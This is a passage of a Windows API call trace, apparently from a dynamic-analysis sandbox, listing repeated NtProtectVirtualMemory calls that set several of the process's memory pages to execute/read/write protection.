BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.768] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.779] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.838] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.023] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.317] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.330] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.509] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.824] NtProtectVirtualMemory (in: 